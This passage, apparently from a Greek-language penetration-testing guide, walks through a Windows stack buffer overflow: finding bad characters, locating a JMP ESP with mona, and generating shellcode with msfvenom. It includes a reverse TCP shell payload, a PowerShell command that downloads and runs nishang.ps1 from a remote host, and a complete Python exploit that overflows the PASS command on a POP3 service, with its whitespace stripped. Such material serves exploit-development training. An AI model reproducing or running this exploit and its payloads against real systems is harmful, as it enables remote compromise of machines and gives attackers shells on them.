Τα badchars ξεκινούν στο 0x01 επειδή το 0x00 σχεδόν πάντα είναι κακό.
Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τα χαρακτήρες που θεωρούνται άχρηστοι:.
Για παράδειγμα:
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A (δεν αποθηκεύεται τίποτα στη μνήμη αφού ο χαρακτήρας 0x09).
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι ο χαρακτήρας 0x0D αποφεύγεται:
Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
Χρησιμοποιώντας:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Θα καταχωρήσετε τους χάρτες μνήμης. Αναζητήστε κάποιο DLL που έχει:
Rebase: False
SafeSEH: False
ASLR: False
NXCompat: False
OS Dll: True
Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά bytes JMP ESP, για να το κάνετε αυτό εκτελέστε:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Στη συνέχεια, αν βρεθεί μια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα κακό χαρακτήρα:
Σε αυτήν την περίπτωση, για παράδειγμα: _0x5f4a358f_
Δημιουργία shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Εάν το exploit δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας κελύφους επιτυγχάνεται), δοκιμάστε να δημιουργήσετε άλλους κώδικες κελύφους (ο msfvenom θα δημιουργήσει διαφορετικούς κώδικες κελύφους για τις ίδιες παραμέτρους).
Προσθέστε μερικά NOPS στην αρχή του κώδικα κελύφους και χρησιμοποιήστε τον κώδικα κελύφους και τη διεύθυνση επιστροφής για να γίνει άλμα στο ESP, και ολοκληρώστε το exploit:
#!/usr/bin/pythonimportsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)ip='10.11.25.153'port=110shellcode= ("\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1""\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b""\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4""\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6""\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4""\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36""\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9""\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19""\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef""\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78""\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85""\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4""\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35""\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71""\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8""\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf""\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a""\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5""\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25""\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4""\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1""\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a""\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d""\x2d\xb8\x63\xe2\x4e\xe9")buffer='A'*2606+'\x8f\x35\x4a\x5f'+"\x90"*8+shellcodetry:print"\nLaunching exploit..."s.connect((ip,port))data=s.recv(1024)s.send('USER username'+'\r\n')data=s.recv(1024)s.send('PASS '+buffer+'\r\n')print"\nFinished!."except:print"Could not connect to "+ip+":"+port
Υπάρχουν shellcodes που θα αντικαταστήσουν τον εαυτό τους, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν το shellcode